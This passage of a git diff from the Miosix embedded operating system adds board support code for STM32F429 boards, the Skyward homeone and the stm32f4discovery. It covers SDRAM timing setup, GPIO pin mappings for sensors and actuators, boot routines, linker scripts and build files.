$(ROMFS_DIR), image.bin, main.bin) 0x08000000 diff --git a/miosix/arch/board/stm32f429zi_skyward_homeone/boot.cpp b/miosix/arch/board/stm32f429zi_skyward_homeone/boot.cpp new file mode 100644 index 000000000..d0423c8ab --- /dev/null +++ b/miosix/arch/board/stm32f429zi_skyward_homeone/boot.cpp @@ -0,0 +1,45 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/bsp.h" + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + //Initialize clocks + SystemInit(); + //Initialize SDRAM after SystemInit() as it is timing-sensitive and needs + //the full clock speed. + #ifdef __ENABLE_XRAM + miosix::configureSdram(); + #endif //__ENABLE_XRAM +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f429zi_skyward_homeone/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f429zi_skyward_homeone/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..f076d14fd --- /dev/null +++ b/miosix/arch/board/stm32f429zi_skyward_homeone/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,21 @@ +#pragma once + +//Always include stm32f4xx.h before core_cm4.h, there's some nasty dependency +#define STM32F429xx +#include "CMSIS/Device/ST/STM32F4xx/Include/stm32f4xx.h" +#include "CMSIS/Include/core_cm4.h" +#include "CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32f427,f437,f429,f439 RCC synchronization is required per the +//device errata (ES0206 section 2.2.7). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 90, so there are 91 +#define MIOSIX_NUM_PERIPHERAL_IRQ 91 diff --git a/miosix/arch/board/stm32f429zi_skyward_homeone/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f429zi_skyward_homeone/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..84eb011f6 --- /dev/null +++ b/miosix/arch/board/stm32f429zi_skyward_homeone/interfaces-impl/bsp.cpp @@ -0,0 +1,321 @@ +/*************************************************************************** + * Copyright (C) 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/stm32f2_f4_f7_sd.h" +#include "board_settings.h" +#include "hwmapping.h" + +namespace miosix { + +// +// Initialization +// + +/** + * The example code from ST checks for the busy flag after each command. + * Interestingly I couldn't find any mention of this in the datsheet. + */ +static void sdramCommandWait() +{ + for(int i=0;i<0xffff;i++) + if((FMC_Bank5_6->SDSR & FMC_SDSR_BUSY)==0) return; +} + +void configureSdram() +{ + //Enable all gpios, passing clock + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | + RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | + RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | + RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN; + RCC_SYNC(); + + //First, configure SDRAM GPIOs + GPIOB->AFR[0]=0x0cc00000; + GPIOC->AFR[0]=0x0000000c; + GPIOD->AFR[0]=0x000000cc; + GPIOD->AFR[1]=0xcc000ccc; + GPIOE->AFR[0]=0xc00000cc; + GPIOE->AFR[1]=0xcccccccc; + GPIOF->AFR[0]=0x00cccccc; + GPIOF->AFR[1]=0xccccc000; + GPIOG->AFR[0]=0x00cc00cc; + GPIOG->AFR[1]=0xc000000c; + + GPIOB->MODER=0x00002800; + GPIOC->MODER=0x00000002; + GPIOD->MODER=0xa02a000a; + GPIOE->MODER=0xaaaa800a; + GPIOF->MODER=0xaa800aaa; + GPIOG->MODER=0x80020a0a; + + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOs... + GPIOB->OSPEEDR=0xaaaaaaaa | 0x00003c00; //...but 100MHz for the SDRAM pins + GPIOC->OSPEEDR=0xaaaaaaaa | 0x00000003; + GPIOD->OSPEEDR=0xaaaaaaaa | 0xf03f000f; + GPIOE->OSPEEDR=0xaaaaaaaa | 0xffffc00f; + GPIOF->OSPEEDR=0xaaaaaaaa | 0xffc00fff; + GPIOG->OSPEEDR=0xaaaaaaaa | 0xc0030f0f; + GPIOH->OSPEEDR=0xaaaaaaaa; + + //Since we'we un-configured PB3/PB4 from the default at boot TDO,NTRST, + //finish the job and remove the default pull-up + GPIOB->PUPDR=0; + + //Second, actually start the SDRAM controller + RCC->AHB3ENR |= RCC_AHB3ENR_FMCEN; + RCC_SYNC(); + + //SDRAM is a IS42S16400J -7 speed grade, connected to bank 2 (0xd0000000) + //Some bits in SDCR[1] are don't care, and the have to be set in SDCR[0], + //they aren't just don't care, the controller will fail if they aren't at 0 + FMC_Bank5_6->SDCR[0]=FMC_SDCR1_SDCLK_1// SDRAM runs @ half CPU frequency + | FMC_SDCR1_RBURST // Enable read burst + | 0; // 0 delay between reads after CAS + FMC_Bank5_6->SDCR[1]=0 // 8 bit column address + | FMC_SDCR1_NR_0 // 12 bit row address + | FMC_SDCR1_MWID_0 // 16 bit data bus + | FMC_SDCR1_NB // 4 banks + | FMC_SDCR1_CAS_1; // 2 cycle CAS latency (F<133MHz) + + static_assert(cpuFrequency==180000000 || cpuFrequency==168000000, + "No SDRAM timings for this clock"); + if (cpuFrequency==180000000) + { + //One SDRAM clock cycle is 11.1ns + //Some bits in SDTR[1] are don't care, and the have to be set in SDTR[0], + //they aren't just don't care, the controller will fail if they aren't at 0 + FMC_Bank5_6->SDTR[0]=(6-1)<<12 // 6 cycle TRC (66.6ns>63ns) + | (2-1)<<20; // 2 cycle TRP (22.2ns>15ns) + FMC_Bank5_6->SDTR[1]=(2-1)<<0 // 2 cycle TMRD + | (7-1)<<4 // 7 cycle TXSR (77.7ns>70ns) + | (4-1)<<8 // 4 cycle TRAS (44.4ns>42ns) + | (2-1)<<16 // 2 cycle TWR + | (2-1)<<24; // 2 cycle TRCD (22.2ns>15ns) + } else if (cpuFrequency==168000000) { + //One SDRAM clock cycle is 11.9ns + //Some bits in SDTR[1] are don't care, and the have to be set in SDTR[0], + //they aren't just don't care, the controller will fail if they aren't at 0 + FMC_Bank5_6->SDTR[0]=(6-1)<<12 // 6 cycle TRC (71.4ns>63ns) + | (2-1)<<20; // 2 cycle TRP (23.8ns>15ns) + FMC_Bank5_6->SDTR[1]=(2-1)<<0 // 2 cycle TMRD + | (6-1)<<4 // 6 cycle TXSR (71.4ns>70ns) + | (4-1)<<8 // 4 cycle TRAS (47.6ns>42ns) + | (2-1)<<16 // 2 cycle TWR + | (2-1)<<24; // 2 cycle TRCD (23.8ns>15ns) + } + + FMC_Bank5_6->SDCMR= FMC_SDCMR_CTB2 // Enable bank 2 + | 1; // MODE=001 clock enabled + sdramCommandWait(); + + //ST and SDRAM datasheet agree a 100us delay is required here. + delayUs(100); + + FMC_Bank5_6->SDCMR= FMC_SDCMR_CTB2 // Enable bank 2 + | 2; // MODE=010 precharge all command + sdramCommandWait(); + + FMC_Bank5_6->SDCMR= (8-1)<<5 // NRFS=8 SDRAM datasheet says + // "at least two AUTO REFRESH cycles" + | FMC_SDCMR_CTB2 // Enable bank 2 + | 3; // MODE=011 auto refresh + sdramCommandWait(); + + FMC_Bank5_6->SDCMR=0x220<<9 // MRD=0x220:CAS latency=2 burst len=1 + | FMC_SDCMR_CTB2 // Enable bank 2 + | 4; // MODE=100 load mode register + sdramCommandWait(); + + // 64ms/4096=15.625us + if constexpr(cpuFrequency==180000000) + { + //15.625us*90MHz=1406-20=1386 + FMC_Bank5_6->SDRTR=1386<<1; + } else if constexpr(cpuFrequency==168000000) { + //15.625us*84MHz=1312-20=1292 + FMC_Bank5_6->SDRTR=1292<<1; + } +} + +void IRQbspInit() +{ + //If using SDRAM GPIOs are enabled by configureSdram(), else enable them here + #ifndef __ENABLE_XRAM + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | + RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | + RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | + RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN; + RCC_SYNC(); + #endif //__ENABLE_XRAM + + using namespace interfaces; + spi1::sck::mode(Mode::ALTERNATE); + spi1::sck::alternateFunction(5); + spi1::miso::mode(Mode::ALTERNATE); + spi1::miso::alternateFunction(5); + spi1::mosi::mode(Mode::ALTERNATE); + spi1::mosi::alternateFunction(5); + + spi2::sck::mode(Mode::ALTERNATE); + spi2::sck::alternateFunction(5); + spi2::miso::mode(Mode::ALTERNATE); + spi2::miso::alternateFunction(5); + spi2::mosi::mode(Mode::ALTERNATE); + spi2::mosi::alternateFunction(5); + + i2c::scl::mode(Mode::ALTERNATE_OD); + i2c::scl::alternateFunction(4); + i2c::sda::mode(Mode::ALTERNATE_OD); + i2c::sda::alternateFunction(4); + + uart4::rx::mode(Mode::ALTERNATE); + uart4::rx::alternateFunction(8); + uart4::tx::mode(Mode::ALTERNATE); + uart4::tx::alternateFunction(8); + + can::rx::mode(Mode::ALTERNATE); + can::rx::alternateFunction(9); + can::tx::mode(Mode::ALTERNATE); + can::tx::alternateFunction(9); + + using namespace sensors; + adis16405::cs::mode(Mode::OUTPUT); + adis16405::cs::high(); + adis16405::nrst::mode(Mode::OUTPUT); + adis16405::nrst::high(); + adis16405::ckIn::mode(Mode::ALTERNATE); + adis16405::ckIn::alternateFunction(2); + adis16405::dio1::mode(Mode::INPUT); + + ad7994::ab::mode(Mode::INPUT); + ad7994::nconvst::mode(Mode::OUTPUT); + + max21105::cs::mode(Mode::OUTPUT); + max21105::cs::high(); + + mpu9250::cs::mode(Mode::OUTPUT); + mpu9250::cs::high(); + + ms5803::cs::mode(Mode::OUTPUT); + ms5803::cs::high(); + + using namespace actuators; + hbridgel::ena::mode(Mode::OUTPUT); + hbridgel::ena::low(); + hbridgel::in::mode(Mode::ALTERNATE); + hbridgel::in::alternateFunction(2); + hbridgel::csens::mode(Mode::INPUT_ANALOG); + + hbridger::ena::mode(Mode::OUTPUT); + hbridger::ena::low(); + hbridger::in::mode(Mode::ALTERNATE); + hbridger::in::alternateFunction(2); + hbridger::csens::mode(Mode::INPUT_ANALOG); + + InAir9B::cs::mode(Mode::OUTPUT); + InAir9B::cs::high(); + //NOTE: in the InAir9B datasheet is specified that the nRSR line should be + //on hi-Z state when idle, thus we set the gpio as open drain + InAir9B::nrst::mode(Mode::OPEN_DRAIN); + InAir9B::nrst::high(); + InAir9B::dio0::mode(Mode::INPUT); + InAir9B::dio1::mode(Mode::INPUT); + InAir9B::dio2::mode(Mode::INPUT); + InAir9B::dio3::mode(Mode::INPUT); + + _led::mode(Mode::OUTPUT); +// Removed led blink to speed up boot +// ledOn(); +// delayMs(100); +// ledOff(); + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + intrusive_ref_ptr devFs = basicFilesystemSetup(SDIODriver::instance()); + devFs->addDevice("gps", intrusive_ref_ptr( + new STM32Serial(2,115200, + Gpio::getPin(),Gpio::getPin()))); + devFs->addDevice("radio", intrusive_ref_ptr( + new STM32Serial(3,115200, + Gpio::getPin(),Gpio::getPin()))); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +/** + * For safety reasons, we never want the homeone to shutdown. + * When requested to shutdown, we reboot instead. + */ +void shutdown() +{ + reboot(); +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f429zi_skyward_homeone/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f429zi_skyward_homeone/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..393d2556b --- /dev/null +++ b/miosix/arch/board/stm32f429zi_skyward_homeone/interfaces-impl/bsp_impl.h @@ -0,0 +1,76 @@ +/*************************************************************************** + * Copyright (C) 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" +#include "drivers/stm32_hardware_rng.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * Called by stage_1_boot.cpp to enable the SDRAM before initializing .data/.bss + * Requires the CPU clock to be already configured (running from the PLL) + */ +void configureSdram(); + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +typedef Gpio _led; + +inline void ledOn() +{ + _led::high(); +} + +inline void ledOff() +{ + _led::low(); +} + +/** +\} +*/ + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/board/stm32f429zi_skyward_homeone/interfaces-impl/hwmapping.h b/miosix/arch/board/stm32f429zi_skyward_homeone/interfaces-impl/hwmapping.h new file mode 100644 index 000000000..96258acd1 --- /dev/null +++ b/miosix/arch/board/stm32f429zi_skyward_homeone/interfaces-impl/hwmapping.h @@ -0,0 +1,113 @@ +/*************************************************************************** + * Copyright (C) 2018 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +namespace miosix { + +namespace interfaces { + +namespace spi1 { +using sck = Gpio; +using miso = Gpio; +using mosi = Gpio; +} //namespace spi1 + +namespace spi2 { +using sck = Gpio; +using miso = Gpio; +using mosi = Gpio; +} //namespace spi1 + +namespace i2c { +using scl = Gpio; +using sda = Gpio; +} //namespace i2c + +namespace uart4 { +using tx = Gpio; +using rx = Gpio; +} //namespace uart4 + +namespace can { +using rx = Gpio; +using tx = Gpio; +} // namespace can +} //namespace interfaces + +namespace sensors { + +namespace adis16405 { +using cs = Gpio; +using dio1 = Gpio; +using nrst = Gpio; +using ckIn = Gpio; +} //namespace adis16405 + +namespace ad7994 { +using ab = Gpio; +using nconvst = Gpio; +} //namespace ad7994 + +namespace max21105 { +using cs = Gpio; +} //namespace max21105 + +namespace mpu9250 { +using cs = Gpio; +} //namespace mpu9250 + +namespace ms5803 { +using cs = Gpio; +} //namespace ms5803 +} //namespace sensors + +namespace actuators { +namespace hbridgel { +using ena = Gpio; +using in = Gpio; +using csens = Gpio; +} //namespace hbridgel + +namespace hbridger { +using ena = Gpio; +using in = Gpio; +using csens = Gpio; +} //namespace hbridger +} //namespace actuators + +namespace InAir9B { +using dio0 = Gpio; +using dio1 = Gpio; +using dio2 = Gpio; +using dio3 = Gpio; +using cs = Gpio; +using nrst = Gpio; +} //namespace InAir9B +} //namespace miosix diff --git a/miosix/arch/cortexM4_stm32f4/stm32f411ce_blackpill/blackpill.cfg b/miosix/arch/board/stm32f429zi_skyward_homeone/openocd.cfg similarity index 100% rename from miosix/arch/cortexM4_stm32f4/stm32f411ce_blackpill/blackpill.cfg rename to miosix/arch/board/stm32f429zi_skyward_homeone/openocd.cfg diff --git a/miosix/arch/board/stm32f429zi_skyward_homeone/unikernel-xram.ld b/miosix/arch/board/stm32f429zi_skyward_homeone/unikernel-xram.ld new file mode 100644 index 000000000..17de8b8e6 --- /dev/null +++ b/miosix/arch/board/stm32f429zi_skyward_homeone/unikernel-xram.ld @@ -0,0 +1,25 @@ +/* + * Linker script for stm32f429 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +/* + * NOTE: starting at 0x10000000 there's 64KB of TCM. + * Starting at 0x20000000 there's 192K of internal SRAM. + * Since this linker script is for placing everything (but the IRQ stack) in + * XRAM, we use TCM for the interrupt stack and leave the rest of the internal + * RAM unused + */ +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + ram1(wx) : ORIGIN = 0x10000000, LENGTH = 64K /* TCM for IRQ stack */ + ram2(wx) : ORIGIN = 0xd0000000, LENGTH = 8M /* XRAM */ +} + +/* Mark ram2 as being an external RAM */ +_xram_start = ORIGIN(ram2); +_xram_size = LENGTH(ram2); + +INCLUDE ldscripts/miosix-flash-2ram-separate-irqstack.ld diff --git a/miosix/arch/board/stm32f429zi_skyward_homeone/unikernel.ld b/miosix/arch/board/stm32f429zi_skyward_homeone/unikernel.ld new file mode 100644 index 000000000..be0f80a28 --- /dev/null +++ b/miosix/arch/board/stm32f429zi_skyward_homeone/unikernel.ld @@ -0,0 +1,14 @@ +/* + * Linker script for stm32f429 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + ram1(wx) : ORIGIN = 0x10000000, LENGTH = 64K + ram2(wx) : ORIGIN = 0x20000000, LENGTH = 192K +} + +INCLUDE ldscripts/miosix-flash-2ram-separate-heap.ld diff --git a/miosix/arch/board/stm32f429zi_stm32f4discovery/CMakeLists.txt b/miosix/arch/board/stm32f429zi_stm32f4discovery/CMakeLists.txt new file mode 100644 index 000000000..3a0fc3bb3 --- /dev/null +++ b/miosix/arch/board/stm32f429zi_stm32f4discovery/CMakeLists.txt @@ -0,0 +1,43 @@ +## +## CMakeLists.txt for board stm32f429zi_stm32f4discovery +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f4) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + # 1) Code in FLASH, stack + heap in internal RAM + unikernel.ld + # 2) Code in FLASH, stack + heap in external RAM + unikernel-xram-8m.ld + # 3) Same as 2), but leaves the upper 2MB of RAM for the LCD framebuffers + unikernel-xram-6m.ld + # 4) Same as 1) but with the process pool + processes.ld -DWITH_PROCESSES +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel-xram-6m.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32f2_f4_i2c.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32_hardware_rng.cpp + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +# -D__ENABLE_XRAM is required even when not using external RAM, as it is used +# for the LCD framebuffer +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32F429ZI_STM32F4DISCOVERY -D__ENABLE_XRAM) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32F429ZI_STM32F4DISCOVERY -D__ENABLE_XRAM) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE st-flash --connect-under-reset --reset write 0x08000000) diff --git a/miosix/arch/board/stm32f429zi_stm32f4discovery/Makefile.inc b/miosix/arch/board/stm32f429zi_stm32f4discovery/Makefile.inc new file mode 100644 index 000000000..bb851a0eb --- /dev/null +++ b/miosix/arch/board/stm32f429zi_stm32f4discovery/Makefile.inc @@ -0,0 +1,28 @@ +## +## Makefile for board stm32f429zi_stm32f4discovery +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32f4 + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +arch/drivers/stm32f2_f4_i2c.cpp \ +arch/drivers/stm32_hardware_rng.cpp \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32F429ZI_STM32F4DISCOVERY +BOARD_CXXFLAGS := -D_BOARD_STM32F429ZI_STM32F4DISCOVERY + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= st-flash --connect-under-reset --reset write \ + $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 diff --git a/miosix/arch/board/stm32f429zi_stm32f4discovery/boot.cpp b/miosix/arch/board/stm32f429zi_stm32f4discovery/boot.cpp new file mode 100644 index 000000000..b04f9d0ca --- /dev/null +++ b/miosix/arch/board/stm32f429zi_stm32f4discovery/boot.cpp @@ -0,0 +1,46 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/bsp.h" + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + //Initialize clocks + SystemInit(); + //ST does not provide code to initialize the stm32f429-disco SDRAM at boot. + //Initialize SDRAM after SystemInit() as it is timing-sensitive and needs + //the full clock speed. + #ifdef __ENABLE_XRAM + miosix::configureSdram(); + #endif //__ENABLE_XRAM +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f429zi_stm32f4discovery/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f429zi_stm32f4discovery/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..f076d14fd --- /dev/null +++ b/miosix/arch/board/stm32f429zi_stm32f4discovery/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,21 @@ +#pragma once + +//Always include stm32f4xx.h before core_cm4.h, there's some nasty dependency +#define STM32F429xx +#include "CMSIS/Device/ST/STM32F4xx/Include/stm32f4xx.h" +#include "CMSIS/Include/core_cm4.h" +#include "CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32f427,f437,f429,f439 RCC synchronization is required per the +//device errata (ES0206 section 2.2.7). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 90, so there are 91 +#define MIOSIX_NUM_PERIPHERAL_IRQ 91 diff --git a/miosix/arch/board/stm32f429zi_stm32f4discovery/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f429zi_stm32f4discovery/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..aaee3c120 --- /dev/null +++ b/miosix/arch/board/stm32f429zi_stm32f4discovery/interfaces-impl/bsp.cpp @@ -0,0 +1,266 @@ +/*************************************************************************** + * Copyright (C) 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/stm32f2_f4_f7_sd.h" +#include "board_settings.h" +// #include "kernel/IRQDisplayPrint.h" + +namespace miosix { + +// +// Initialization +// + +/** + * The example code from ST checks for the busy flag after each command. + * Interestingly I couldn't find any mention of this in the datsheet. + */ +static void sdramCommandWait() +{ + for(int i=0;i<0xffff;i++) + if((FMC_Bank5_6->SDSR & FMC_SDSR_BUSY)==0) return; +} + +void configureSdram() +{ + //Enable all gpios, passing clock + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | + RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | + RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | + RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN; + RCC_SYNC(); + + //First, configure SDRAM GPIOs + GPIOB->AFR[0]=0x0cc00000; + GPIOC->AFR[0]=0x0000000c; + GPIOD->AFR[0]=0x000000cc; + 